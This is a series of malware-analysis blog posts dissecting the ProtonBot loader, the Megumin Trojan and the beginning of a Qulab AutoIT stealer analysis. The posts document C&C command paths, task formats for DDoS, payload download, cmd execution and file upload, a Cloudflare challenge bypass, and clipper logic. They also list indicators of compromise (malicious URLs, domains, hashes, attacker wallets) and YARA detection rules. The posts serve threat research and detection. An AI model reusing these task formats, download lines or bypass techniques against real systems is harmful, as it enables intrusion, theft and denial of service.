By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version. The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.

Loader Architecture

The loader is divided into 5 main sections :

Performing C&C request for adding the Bot or asking a task.
Receiving results from C&C
Analyzing OpCode and executing to the corresponding task
Sending a request to the C&C to indicate that the task has been accomplished
Repeat the process [GOTO 1]

C&C requests

Former loader request

Path base

/page.php

Required arguments

Argument	Meaning	API Call / Miscellaneous
id	Bot ID	RegQueryValueExA - MachineGUID
os	Operating System	RegQueryValueExA - ProductName
pv	Account Privilege	Hardcoded string - "Admin"
a	Antivirus	Hardcoded string - "Not Supported"
cp	CPU	Cpuid (Very similar code)
gp	GPU	EnumDisplayDevicesA
ip	IP	GetModuleFileName (Yup, it's weird)
name	Username	RegQueryValueExA - RegisteredOwner
ver	Loader version	Hardcoded string - "1.0 Release"
lr	???	Hardcoded string - "Coming Soon"

Additional fields when a task is completed

Argument	Meaning	API Call / Miscellaneous
op	OpCode	Integer
td	Task ID	Integer

Task format

The task format is really simple and is presented as a simple structure like this.

Task Name;Task ID;Opcode;Value

Tasks OpCodes

When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.

OpCode	Feature
1	Loader
2	Self-Destruct
3	Self-Renewal
4	Execute Batch script
5	Execute VB script
6	Execute HTML code
7	Execute Powershell script
8	Download & Save new wallpaper
9	???
10	???
11	???
12 (Supposed)	DDoS

For those who want to see how the loader part looks like on a disassembler, it's quite pleasant (sarcastic)

the joy of C++

Loader main task

The loader task is set to the OpCode 1. in real scenario this could remain at this one :

newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe

This is simplest but accurate to do the task

Setup the downloaded directory on %TEMP% with GetTempPathA
Remove footprints from cache DeleteUrlCacheEntryA
Download the payload - URLDownloadToFileA
Set Attributes to the file by using transactions
Execute the Payload - ShellExecuteA

Other features

Clipper

Clipper fundamentals are always the same and at that point now, I'm mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff. The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :

/page.php?id=%GUID%&clip=get

The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:

[
 id, # ID on C&C
 name, # ID Name (i.e: Bitcoin)
 regex, # Regular Expression for catching the Wallet
 attackerWallet # Switching victim wallet with this one
]

At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it's not the case here. On this case, the attacker has decided to target some wallets:

Bitcoin
Dash
Litecoin
Zcash
Ethereum
DogeCoin

if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).

DDos

Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks

Executing scripts

The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.

Deobfuscating the selected format (.bat on this case)
Download the script on %TEMP%
Change type of the downloaded script
Execute the script with ShellExecuteA

Available formats are .bat, .vbs, .ps1, .html

Wallpaper

There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end

Setup the downloaded directory on %TEMP% with GetTempPathA
Remove footprints from cache DeleteUrlCacheEntryA
Download the image - URLDownloadToFileA
Change the wallpaper with SystemParametersInfosA

On this case the structure will be like this :

BOOL SystemParametersInfoA (
 UINT uiAction -> 0x0014 (SPI_SETDESKWALLPAPER)
 UINT uiParam -> 0
 PVOID pvParam -> %ImagePath%
 UINT fWinIni -> 1
);

I can't understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it :)

Example in the wild

A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It's enough to suggest that it is used by some business already started with this one. Notable malware hosted and/or pushed by this Proton Bot

Qulab
ProtonBot :)
CoinMiners
C# RATs

There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It's common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits. All of them were accessible on the malware tracker (now retired). [*] Yellow means duplicate hashes in the database.

IoC

Proton Bot

187.ip-54-36-162.eu/cmdd.exe
9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f

Payloads from Proton Bot C2

Urls

187.ip-54-36-162.eu/uploads/0et5opyrs1.exe
187.ip-54-36-162.eu/uploads/878gzwvyd6.exe
187.ip-54-36-162.eu/uploads/8yxt7fd01z.exe
187.ip-54-36-162.eu/uploads/9xj0yw51k5.exe
187.ip-54-36-162.eu/uploads/lc9rsy6kjj.exe
187.ip-54-36-162.eu/uploads/m3gc4bkhag.exe
187.ip-54-36-162.eu/uploads/me0zam1czo.exe
187.ip-54-36-162.eu/uploads/Project1.exe
187.ip-54-36-162.eu/uploads/qisny26ct9.exe
187.ip-54-36-162.eu/uploads/r5qixa9mab.exe
187.ip-54-36-162.eu/uploads/rov08vxcqg.exe
187.ip-54-36-162.eu/uploads/ud1lhw2cof.exe
187.ip-54-36-162.eu/uploads/v6z98xkf8w.exe
187.ip-54-36-162.eu/uploads/vww6bixc3p.exe
187.ip-54-36-162.eu/uploads/w1qpe0tkat.exe

Hashes

349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1
42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e
5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9
6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491
77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab
7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0
aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a
ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814
bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c
c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9
cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f
cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856
d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0

Domains

187.ip-54-36-162.eu

PDB

E:\PROTON\Release\build.pdb

Wallets

3HAQSB4X385HTyYeAPe3BZK9yJsddmDx6A
XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz
LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ
t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h
1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN
0xf7dd0fc161361363d79a3a450a2844f2a70907c6
D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8

Threat Actor

Glad0ff (Main)
ProtonSellet (Seller)

Yara

rule ProtonBot : ProtonBot { meta: description = "Detecting ProtonBot v1" author = "Fumik0_" date = "2019-05-24" strings: $mz = {4D 5A} $s1 = "proton bot" wide ascii $s2 = "Build.pdb" wide ascii $s3 = "ktmw32.dll" wide ascii $s4 = "json.hpp" wide ascii condition: $mz at 0 and (all of ($s*)) }

Conclusion

Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it's doing its job with extra modules for probably being more attractive. Let's see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future. On my side, it's time to chill a little. Special Thanks - S!ri & Snemes

Let's nuke Megumin Trojan

Fri, 03 May 2019 11:05:02 +0000

When you are a big fan of the Konosuba franchise, you are a bit curious when you spot a malware called "Megumin Trojan" (Written in C++) on some selling forums and into some results of sandbox submissions. Before some speculation about when this malware has appeared, this one is not recent and there are some elements that prove it was present on the market since the beginning of 2018. Since the last days, there is an increased activity related to a new version that was probably launched not so long ago (a v2), and community started to talk about it, but a lot of them has misinterpretation with Vidar due to the utilization of the same boundary beacon string. This analysis will help you to definitely clarify how to spot and understand how Megumin Trojan is working and it definitely has a specific signature, that you can't miss it with you dig on it (for both network activities & code). This malware is a Trojan who has a bunch of features:

DDoS
Miner
Clipper
Loader
Executing DOS commands on bots
Uploading specific files from bots to C&C

It's time to reverse a little all of that :)

Anti-Analysis Techniques

The classy PEB

This malware is using one of the classiest tricks for detecting that the process is currently debugged, by checking a specific field into the Process Environment Block (PEB). For those who are unfamiliar with this, it's a structure that contains all process information.

typedef struct _PEB { 
 BYTE Reserved1[2]; 
 BYTE BeingDebugged; // HERE
 ...< Other fields >...
 PVOID Reserved12[1]; 
 ULONG SessionId; 
} PEB, *PPEB;

For our case, the value "BeingDebugged" will be "obviously" checked. But how it looks like when reversing it? Here it's looking like this.

fs:[18] is where is located the Thread Environment Process (TEB)
ds:[eax+30] is necessary to have access into the PEB, that is part of the TEB.
ds[eax+2] remains to retrieve the value TEB.PEB.BeingDebugged

This one has been used multiple times during the execution process of Megumin Trojan.

Window Title

This other trick used here is to get the title of the program and comparing it with a list of strings. For achieving it, the malware is calling GetForegroundWindow at first for the Windows of the current process and then grabbing the title with the help of GetWindowTextA. The comparison with the string is done step by step, by decrypting first the XOR string and comparing it with the Window Title, and continuing the functions until every value is checked.

The completed string list :

OllyDbg
IDA
ImmunityDebugger
inDb (Remain to WinDbg)
LordP (Remains to LordPE)
ireshark (Remains to Wireshark)
HTTP Analyzer

This technique here is not able to work completely because it's checking the Windows Title of the current process used and so, some strings won't be able to work at all. When I was reversing it, I didn't understand at all why it was done like this, maybe something that was done fast or another unrelated explanation and we will never know.

Dynamic Process Blacklist

When the malware is fully configured, it performs an HTTP POST request called /blacklist. The answer contains a list of processes that the attacker wants to kill whenever the payload is active, the content is encoded in base64 format. When processes are flagged as blacklisted, those are stored into variables as Process Handles, and they are checked and killed by a simple comparison. For terminating them the ZwTerminateProcess (or NtTerminateProcess if you are looking on a disassembler) API call is used and after the accomplishment of the task, the value on memory is initialized again to -1 for continuing, again and again, to maintain that these processes will never be able to be active whenever the malware is up. By default, all values are set to -1 (0xFFFFFFFF)

Network interactions list

Megumin is quite noisy, in term of interactions between bots and the C&C, and the amount of API request is more than usual compared to the other malwares that I have analyzed. So to make as much as possible simple and understandable, I classified them into three categories.

General commands

/suicide	Killing request
/config	Malware config
/msgbox	Fake message prompt window
/isClipper	is Clipper activated
/isUSB	Is set up to spread itself on removable drives
/blacklist	Process blacklist
/wallets	Wallet config for the clipper part
/selfDel	Removing the payload of the original PE

Bot commands

/addbot?hwid=	Add a new bot to the C&C (*)
/task?hwid=	Ask for a task
/completed?hwid=	Tell the C&C that task has been done
/gate?hwid=	Gate for uploading/stealing specific files from bot to C&C
/reconnecttime	Amount of time for next request between bot and C&C

(*) Only when the User-Agent is strictly configured as "Megumin/2.0"

Miner commands

/cpu	CPU Miner configuration
/gpuAMD	GPU AMD Miner Configuration
/gpuNVIDIA	GPU NVIDIA Miner Configuration

As a reminder, all response from the server are encoded in base64 with the only exception of the /config one, which is in clear. Curiosity: This malware is also using the same boundary beacon as Vidar and some other malware.

That "messy" setup

This trojan is quite curious about how it's deploying itself and the first time I was trying to understand the mess, I was like, seriously what the heck is wrong with the logic of this malware. After that, I thought it was just the only thing weird with megumin, but no. To complexify the setup, interactions with the C&C are different between different stages. For explaining everything, I decided to split it into multiple steps, to slowly understand the chronological order of it.

Step 1

In the first request, the malware is downloading a payload named "reserv.exe". if this file is not empty it means the current payload is not the main build of the malware. reserv.exe is downloaded and saved into a specific folder hidden in %PROGRAMDATA% as "{MACHINE_GUID}" (for example {656a1cdc-0ae0-40d0-a8bb-fdbd603c3b13}),this file at the end is renamed as "update.exe".
Then two or three requests are performed
- /suicide
- /msgbox
- /selfDel (optional)
A scheduled task is created with this specific pattern for the persistence, the name of the payload will be "update.exe" and another one on the registry.
- "Scheduled Updater - {*MACHINE_GUID*}"
Then the payload is killed and removed

Reminder: If the malware was not fast enough to download reserv.exe for whatever reasons, it is named by a random windows process name, and will continue the process over and over until it will grab reserv.exe Curiosity: The way this malware is creating a folder into PROGRAMDATA is strictly the same way as Arkei, Baldr, Rarog & Supreme++ (Rarog fork, its tracker page is retired). Megumin Arkei Rarog

Step 2

reserv.exe is again downloaded, and considering the file is empty, so at that time, the correct build for communicating with the C&C.
Those requests are performed
- /suicide
- /msgBox
- /config

The config is the only request was the server is not encoding it in base64 format, there are 4 options possible.

Option 1	USB task (Spreading the build on removable drives)
Option 2	Clipper
Option 3	???
Option 4	???

A scheduled task is created with this specific pattern for the persistence and the name of the payload is at that time a random known legitimate windows process (also same thing on the registry).
- "Scheduled Updater - {*MACHINE_GUID*}"
Then the payload is killed and removed

If this file is empty, it's considered that it reached its final destination and its final C&C, so seeing two Megumin C&C on the same domain could be explainable by this (and It was the case on my side).

Step 3

reserv.exe is always checked for checking if there is a new build
Now the behavior on the network flows is totally new. The bot is now way more talkative and is going to be fully set up and registered to the C&C.
- /suicide
- /config
- /addbot?hwid=...&..... # Registration
- /blacklist
- /wallets
- /task?hwid=... # Performs a task
- ... a lot of possible tasks (explained below)
- /completed?hwid=... # Alerting that the task is done
- /reconnecttime

For the addbot part, the registration is requiring specific fields that will be all encoded in base64 format.

Machine GUID
Platform
Windows version
CPU Name
GPU Name
Antivirus
Filename (name of the megumin payload)
Username

example of request (Any.Run) http://90551.prohoster.biz/megumin/addbot?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm&bit=eDMy&win=V2luZG93cyA3IFByb2Zlc3Npb25hbA==&cpu=SW50ZWwoUikgQ29yZShUTSkgaTUtNjQwMCBDUFUgQCAyLjcwR0h6AAAAAAAAAAAA&gpu=U3RhbmRhcmQgVkdBIEdyYXBoaWNzIEFkYXB0ZXI=&av=VW5rbm93bg==&filename=Y3Nyc3MuZXhl&username=YWRtaW4=

Step 4

reserv.exe is always checked for checking if there is a new build
If the bot is run after the registration, it will be possible to have this pattern of request
- /suicide
- /config
- /task?hwid=... # Performs task
- ... a lot of possible tasks (explained below)
- /completed?hwid=... # Alerting that the task is done
- /reconnecttime

Fake messages

As shown above, the malware has also a feature to prompt a fake window and this could be used for making "some realistic scenario" of a typical fake software, crack or other crapware, lure the user during the execution that the software has been installed or there is an error during the false installation or execution. It's really common to see nowadays fake prompt window for missing runtime DLL, or fake Fortnite hack or whatever Free Bitcoin trap generator, this kind of lure will always work in some kind of people, even more with kids. For configuring the feature, the bot is sending a specific HTTP POST Request named "/msgbox" and After decoding the base64 response from the server the response is split into multiple variables :

An integer value that will represent the Icon of the Window
A second int value that will represent the buttons that will be used
The caption (Title)
The text that will be printed on the prompt window

Corresponding case input codes with the configuration of the prompt window are classified below: uType - Uint Code - Icons - cases

Case Code	Value	Meaning
1	0x00000020L	Question-mark message box
2	0x00000030L	Information message box
3	0x00000040L	Warning message box

uType - Uint Code - Buttons - cases

Case Code	Value	Meaning
0	0x00000002L	Abort, Retry & Ignore buttons
1	0x00000006L	Cancer, Try Again, Continue buttons
2	0x00004000L	Help button
3	0x00000000L	OK button
4	0x00000001L	OK & Cancel buttons
5	0x00000005L	Retry & Cancel buttons
6	0x00000004L	Yes & No buttons
7	0x00000003L	Yes, No & Cancel buttons

Clipper

Before that the malware is executing the main module, all the regexes that will be used for catching the whished data are stored dynamically into memory. Then when the malware is fully installed if the clipping feature is activated by the config request, another one called "/wallet" is performed. This command gives to the bot the list of all wallet configured to be clipped. the content is base64 encoded. At this point, the classy infinite loop like Qulab is performed and will remain the same until the program is killed or crashed.

The content of the clipboard is stored into a variable.
Step by step, all regexes are checking if it matches with the clipboard.
If one regex triggers something, the content on the clipboard is switched by the one that the attacker wants and some data are sent to the C&C.

/newclip?hwid=XXX&type=XXX&copy=XXX&paste=XXX&date=XXX

The whole process of the clipper is representing like this. For some investigation, this is the complete list of wallets, softwares, and websites targeted by this malware.

Bitcoin	BitcoinGold	BtcCash	Ethereum
BlackCoin	ByteCoin	EmerCoin	ReddCoin
Peercoin	Ripple	Miota	Cardano
Lisk	Stratis	Waves	Qtum
Stellar	ViaCoin	Electroneum	Dash
Doge	LiteCoin	Monero	Graft
ZCash	Ya.money	Ya.disc	Steam
vk.cc	QIWI

Tasks

When the bot is sending a request to the C&C, there is a possibility to have nine different tasks to be performed and they are all presenting like this.

<name>|<command>|...

There are currently 3 main fields for the tasks.

DDoS
Executing files
Miscellaneous

Whenever a task is accomplished, the request "/completed?hwid=" is sent to the C&C. The reason for this is simple, tasks can be counted and when it reaches a specific amount, the task is simply deactivated. Let's reviewing them!

DDoS

Socket HTTP

Task format

socket|time|threads|link

When there is a necessity to create threads for performing the DDoS tasks, it only grabs the specific fields and using it a length for a thread loop creation as shown below, lpStartAddress will contain the reference of the specific DDoS function that the bot has to do. When inspecting it the function, we can see the layer 7 DDoS Attack by flooding the server by HTTP GET requests with the help of sockets. When everything is configured, the send function is called for starting the DDoS.

HTTP

Task format

http|time|threads|link

As explained above, the technique will remain always the same for the thread setup, only the function addressed is different. For the HTTP DDoS task, it's another Layer 7 DDoS Attack by flooding the server with HTTP requests by using the methods from the Wininet library :

It's slower than the "socket" tasks, but it used for the case that the server is using 301 redirects.

TCP

Task format

tcp|time|threads|port|link

The TCP task is Layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port.

JS Bypass

Task format

jsbypass|time|threads|link

When the website is using Cloudflare protection, the malware is also configured to use a known trick to bypass it by creating a clearance cookie for not being able to be challenged anymore. The idea is when it's reaching for the first time the Website, a 503 error page will redirecting the attacker into a waiting page (catchable by the string "Just a moment" as shown above), At this moment Cloudflare is, in fact, sending the challenging request, so a __cfduid cookie is generated and the content of the source code on this page is fetched by the help of a parser implemented in the malware. It needs 3 parameters at least, 2 of them are already available :

jschl_vc	the challenge token
pass	???

The last field is the jschl_answer, as guessable this is the answer to the challenge asked by Cloudflare. To solve it, an interpreter was also implemented to parse the js code, catching the challenge-form value and a.value field for interpreting correctly the native code with the right setup. This process shown as below is the interpreter that will analyze block per block the challenge with the help of a loop, the data is shelled and each block will be converted into an integer value, the sum of all of them will give us the jschl_answer value. so at the end of the waiting page, this request is sent:

/cdn-cgi/l/chk_jschl?jschl_vc=VALUE&pass=VALUE&jschl_answer=VALUE

chk_jschl leads to the cf_clearance cookie creation if the answer to the challenge is correct and this cookie is proof that you are authentic and trusted by Cloudflare, so by keeping it bypasses for the next requests sent, the website will no longer challenging the attacker temporarily.

Miscellaneous curiosities

the default values for DDoS tasks are :

Time	180 (in seconds)
Threads	2500
Port	42

Loader

Load

Task format

load|link

Seeing a loader feature is something that a quite common thing by the current trendings, customers that bought malware wants to maximize their investments at all cost. This trojan is also configured to pushed some payloads. There is nothing much to say about this. The only important element, in this case, it's that the loaded payload is stored into the %PROGRAMDATA% folder with the name of {MACHINE_GUID}.exe.

Load PE

Task format

loadpe|link

Contrary to a simple loader feature, this one is typically a process hollowing alternative. It's only working with 32 bits payload and using this classy process injection trick into a legitimate process. For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is catchable when it's downloading the payload on this specific load PE task. More information about process injections techniques in Endgame's survey of ten process injection techniques

Update

Task format

update|build_link

When there is an update required with the malware, there is a possibility to push a new build to the bot by using this task.

Miscellaneous tasks

cmd

Task format

cmd|command

One of the miscellaneous tasks possible is the possibility to send some cmd commands on the bot. I don't have a clue about the necessity of this task, but if it's implemented, there is a reason for that. Complete list available on the SS64 Windows CMD reference

upload

Task format

upload|fullpath

If the attacker knows exactly what he's doing, he can steal some really specific files on the bot, by indicating the full path of the required one. The crafted request at the end will be on that form, for pushing it on the C&C.

/gate?hwid=XXX

Miner

The miner is one of the main features of the trojan. Most of the time, When analysts are reversing a miner, this is really easy to spot things and the main ideas are to understand the setup part and how it's executing the miner software. At the end for future purposes, I am considering their check-up list as relevant when reversing one:

Is it targeting CPU, GPU or both?
If it's GPU, is Nvidia & AMD targeted?
Is it generating a JSON config?
What miner software is/are used
Are there any Blacklist Country or Specific countries spotted to mine?
What are the pools addresses?

On this malware, Both hardware type has been implemented, and for checking which miner software is required on the GPU part, it only checking the name of the GPU on the bot, if Nvidia or AMD is spotted on the text, request to the C&C will give the correct setup and miner software. The base64 downloaded miner config contains two things:

The link of the miner software
The one-line config that will be executed with the downloaded payload by the help of ShellExecuteA

For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is only catchable when it's downloading the miner software for the CPU part, not for the GPU.

Server-side

Login Page

The login page is quite fancy, simplest. Even if I could be wrong of with this statement, it's using the same core template as Supreme++ (Rarog Fork) with some tweaks. Something interesting to notice with this C&C, that there is no password but a 2FA Google authenticator on the authentication part.

Dashboard

There is not too much to say about the dashboard, its a classy stats page with these elements:

Top Countries
New bots infected (weekly)
Bots Windows Chart
Number of bots online (weekly)
Bots CPU chart
Bots GPU chart
Platform chart
AV Stats
Current cryptocurrencies values
Top stolen wallet by the clipper

Bots

Bots - Current list of bots
Tasks - Task creation & current task list
Files - All files that have been uploaded to the C&C with the help of the task "upload"

Task setup

Tasks that I've detailed above are representing like this on the C&C, as usual, it's designed to be user-friendly for customers, they just want to configure fast and easily their stuff to be able to steal & being profitable quickly as possible. When selected, there is a usual configuration setup for the task, with classy fields like :

Task Name
Max Executions routine
If the Task must be designed for targeting only one bot
And an interesting advanced setting tab

If we look at it, the advanced setting is where the C&C could targeting bots by :

Specific hardware requirements
Platform
Countries

Countries can be easily catchable on the Victim machine by checking the Locale of the Keyboard (I have already explained this tick on Vidar) and the IP. So it means that malware could be designed to target highly specific areas. When the task is completed, its represented like this.

Clips

Settings

Bots

"USB Spreading" remains to /isUSB API request
"Del exe after start" remains to /selfDel API request

Clipper

Clipper is quite simple, it's just the configuration of all wallet that will be clipped.

Miner

The miner tab is quite classy also, just a basic configuration of the config and where it will download the payload. As usual, the process blacklist will remain the same as we saw in other miner malware. Some google search will be sufficient to know which processes are the most targeted.

MessageBox

A fancy message box configuration part with multiple possibilities.

Countries

It's also possible to ban bots from specific countries, on the side bot side, the malware will check if the country is valid or not with the help of the IP and the Keyboard Language configuration. On the code, it's easily traceable by these checks, for more explanation about how it works for the keyboard part, this is already detailed on the Vidar paper.

Panel

For some reasons, there is also a possibility to change the username for the panel authentication, by doing this the 2FA Google Authenticator is required for confirming this.

Script

For further investigation about this v2, I developed a small script called "ohana", like the Vidar one to extract the configuration of each sample and it's already available on my GitHub repository.

IoCs

Hashes

d15e1bc9096810fb4c954e5487d5a54f8c743cfd36ed0639a0b4cb044e04339f
e6c447c826ae810dec6059c797aa04474dd27f84e37e61b650158449b5229469
c70120ee9dd25640049fa2d08a76165948491e4cf236ec5ff204e927a0b14918
d431e6f0d3851bbc5a956c5ca98ae43c3a99109b5832b5ac458b8def984357b8
ed65610f2685f2b8c765ee2968c37dfce286ddcc31029ee6091c89505f341b97
89813ebf2da34d52c1b924b408d0b46d1188b38f035d22fab26b852ad6a6fc19
8777749af37a2fd290aad42eb87110d1ab7ccff4baa88bd130442f25578f3fe1

Domains

90551.prohoster.biz
baldorclip.icu
santaluisa.top
megumin.top
megumin.world

PDB

C:\Users\Ddani\source\repos\MeguminV2\Release\MeguminV2.pdb
C:\Users\Administrator\Desktop\MeguminV2\Release\MeguminV2.pdb

Threat Actors

Danij (Main)
Moongod

MITRE ATT&CK

Yara

rule Megumin : Megumin {
 meta:
 description = "Detecting Megumin v2"
 author = "Fumik0_"
 date = "2019-05-02"

 strings:
 $mz = {4D 5A}

 $s1 = "Megumin/2.0" wide ascii
 $s2 = "/cpu" wide ascii
 $s3 = "/task?hwid=" wide ascii
 $s4 = "/gate?hwid=" wide ascii
 $s5 = "/suicide" wide ascii

 condition:
 $mz at 0 and (all of ($s*))
}

Conclusion

Megumin Trojan is not a complicated malware but about all the one that I have reversed, this is the most talkative one that I've analyzed and possesses a quite some amount of tasks. Let's see with the time how this one will evolve, but it's confirmed at that time, there is currently a lot of interesting stuff to do with this one :

in term of analysis
in term of cybercrime investigation

#HappyHunting #WeebMalware Special Thanks: S!Ri Photo by Jens Johnsson on Unsplash

Let's play with Qulab, an exotic malware developed in AutoIT

Mon, 25 Mar 2019 09:32:20 +0000

After some issues that kept me far away from my researches, it's time to put my hands again on some sympathetic stuff. This one is technically and finally my real first post of the year (The anti-VM one was a particular case). So today, we will dig into Qulab Stealer + Clipper, another password-stealer that had my attention to be (on my point view) an exotic one, because it is fully developed in AutoIT and have a really cool obfuscation technique that occupied me for some times. Trends to have malware that is coded in some languages different than C, C++, .NET or Delphi is not new, there is a perfect case with the article made by Hasherezade earlier this year for a stealer developed in GoLang (that I highly recommend taking a look on it). Normally, using AutoIT scripts in that area is pretty common. It's widely used as a packer for hiding detection or as a node into an infection chain, but as a whole password-stealer, it's not the same. I could say it's a particular case because it's resale with support on the black market. Even if as usual, techniques remains the same for the stealing features, it's always entertaining to see how there is plenty of ways to achieve one simple goal. Also, the versatility on this one is what makes me overwhelmed my curiosity and burning all my sleep time for some reasons... Qulab is focusing on these features:

Browser stealing
Wallet Clipper
FTP creds
Discord / Telegram logs
Steam (Session / Trade links / 2FA Authenticator by abusing a third party software)
Telegram Bot through a proxy
Grabber

Auto IT?

As I mentioned in the intro, Qulab is coded in AutoIT, for people that are really not in touch it or have no idea about it, it is an automation language who has a syntax similar to the BASIC structure, it's designed to work only on Microsoft Windows. They are two way to execute AutoIT scripts :

If the script is run with the .au3 format, AutoIT dependances are required and all the libraries that are necessary to run it.
If the script is compiled all the libraries are added into it for avoiding dependances. It means that you don't need to install AutoIT for executing PE.

When the instructions are compiled into an executable file, it's easy to catch if we are analyzing an AutoIT script by a simply checking some strings, so there already some Yara rules that made the task to confirm that is the case.

 
 
rule AutoIt
{
	meta:
		author = "_pusher_"
		date = "2016-07"
		description = "www.autoitscript.com/site/autoit/"
	strings:		
		$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention." wide ascii nocase
		$aa1 = "AutoIt Error" wide ascii nocase
		$aa2 = "Missing right bracket ')' in expression." wide ascii nocase
		$aa3 = "Missing operator in expression." wide ascii nocase
		$aa4 = "Unbalanced brackets in expression." wide ascii nocase
		$aa5 = "Error parsing function call." wide ascii nocase
	
		$aa6 = ">>>AUTOIT NO CMDEXECUTE<<<" wide ascii nocase
		$aa7 = "#requireadmin" wide ascii nocase
		$aa8 = "#OnAutoItStartRegister" wide ascii nocase
		$aa9 = "#notrayicon" wide ascii nocase
		$aa10 = "Cannot parse #include" wide ascii nocase
	condition:
		5 of ($aa*)
}

On my side, I will not explain the steps or tools to extract the code, they are plenty of tutorials on the internet for explaining how it's possible to extract some AutoIt scripts. The idea here is to focus mainly on the malware, not on the extracting part...

Code Obfuscation

After extracting the code from the PE, it's easy to guess that some amazing stuff is coming to our eyes by just looking the amount of code... The analysis of this malware will be some kind of challenge.

 
 
cat Qulab.au3 | wc -l
21952 // some pain incomming

The source code is really (really) obfuscated but not hard to clean it. it takes just quite some times with the help of homemade scripts to surpass it. But as an analyst that wants to have information, a simple dump of the process during the execution and the report a sandbox is sufficient to understand the main tasks. For non-technical people, I have created a dedicated page on GitHub for being able to read and learn easily the AutoIT fundamentals. I highly recommend to open it during the reading of this article, it will be easier. you had also to read the official AutoIT FAQ for understanding the API. Unfortunately, it's not complete as the Microsoft MSDN documentation but it's enough about the basic principles of this language... It's impossible to explain all form of obfuscation in this malware, but this is a summary of the main tricks.

Variable & Function Naming convention

All variables except few exceptions are in that form

 
 
\$A\d[A-F0-9]{3,10}

It's wonderful to see over ten thousand (and more) variables like this into the whole script (sarcasm)

 
 
$A18A4000F15
$A5AA4204E10
$A0FA4403A33
$A55A4601801
$A24A4804C5C
...

Garbage conditions

When there is an obfuscated code, there is obviously a huge amount of nonsense conditions or unused functions. It doesn't take a long time to get the idea on Qulab because they are easily catchable by pure logic, take an example on this one :

 
 
FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)
 IF NOT ISDECLARED("SSA5D10600720") THEN
 ENDIF
 ...
 ...
ENDFUNC

This a classical pattern, the condition is just checking if a variable ("SS" + Function Name) is not declared, inside there is always some local variables that are initiated for purposes of the functions and most of the time they are coming from the master array. By deobfuscating them, the whole conditions on this pattern can be removed variables are switched by their corresponding values, it permits to delete a lot of codes.

Unused Functions

Another classy scheme is to find some unused functions, and this permit to clean effectively thousands of lines of junk code by creating a script for the purposes or using some User-defined functions made by the AutoIT community.

Initiating Variables and using them

 
 
GLOBAL LOCAL $VARIABLE_1 = FUNC1(ARRAY[POS])
...Code....
GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1
...Code...
GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 <- Final Value

> Initiating them by a condition

 
 
